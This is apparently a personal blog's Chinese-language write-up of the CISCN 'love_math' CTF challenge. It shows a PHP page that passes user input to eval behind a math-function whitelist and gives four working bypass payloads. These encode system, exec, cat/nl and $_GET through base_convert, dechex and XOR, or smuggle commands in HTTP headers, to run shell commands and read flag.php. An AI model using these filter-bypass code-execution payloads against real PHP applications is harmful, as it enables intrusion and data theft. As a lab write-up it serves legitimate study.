r0ckyzzz's Blog.

CISCN Web love_math

Word count: 964Reading time: 4 min
2020/02/22 Share

CISCN Web love_math

这是当时国赛没有做出来的题目 在攻防世界看到有原题复现 所以拿来补一下

直接上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

输入长度要小于80 不能有空格、换行、单引号、双引号、反引号、[]
并且要用白名单里的函数
最后执行

1
eval('echo '.$content.';');

首先的思路:用白名单的函数拼凑出getshell命令,但是引号被禁了所以这个思路行不通
关注点在白名单的函数中有什么函数可以把26个字母都表达出来,可能就是解题的关键。

发现一个函数

base_convert()

upload successful
高于10进制的数字用a-z表示

upload successful

可以用数字把phpinfo表示出来
试试能不能执行

upload successful

执行成功了 思路是对的

试试执行system(‘ls’)

upload successful

可以执行system 并且知道了flag的位置
目的就是读取flag.php

但是不能直接cat flag.php 因为空格被过滤了

之前打国赛的时候思路就在这里卡住了 后来看了众师傅的方法才明白这题有多种解法

膜各大师傅!!

思路四种:
1.用php的readfile函数读取文件,但是要构造’flag.php’里的’.’
2.用system函数配合通配符’’ 但是要构造出’
3.构造出$_GET手动传入参数
4.这个是最让我吃惊膜拜的 利用getallheaders()把命令藏在http头部,太骚了

思路1

因为有限制payload长度所以我们把base_convert用变量代替
因为变量长度最少为2

1
($pi=base_convert)(2146934604002,10,36)('flag.php');

这时候要想办法构造出’.’

第一个想法用异或
是异或不出来的

但是我们发现dechex函数可以把10进制转换为16进制,我们可以再异或出hex2bin,来获取任意ASCII字符。(记住这个操作)

upload successful

最终得到payload

1
($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36));

显然超长了 所以这个思路不行

思路2

利用思路1的方法得到了*

cat *的16进制为636174202a

upload successful

得到了payload

1
($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666)))

upload successful

超长了两个字符 可以尝试缩短payload
不难发现nl命令可以和cat达到同样的效果

upload successful

所以得到最终的payload

1
($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))

upload successful
刚刚好79 可能这是出题人预期的解

upload successful

思路3

从上面可以知道 我们可以得到‘_’这个字符 且$没有被禁,即使[]被禁 {}也可以用来提取数组的值

upload successful
通过fuzz可以得到

1
1^n=_; 5^r=G; 1^t=E; 7^c=T

upload successful

得到payload

1
?0=system&1=cat%20flag.php&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})

upload successful

思路4

利用getallheaders这个函数做文章

upload successful

我们可以把payload藏在http header里

最终payload

1
2
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1})

upload successful

CATALOG
  1. 1. ¶CISCN Web love_math
  2. 2. ¶思路1
  3. 3. ¶思路2
  4. 4. ¶思路3
  5. 5. ¶思路4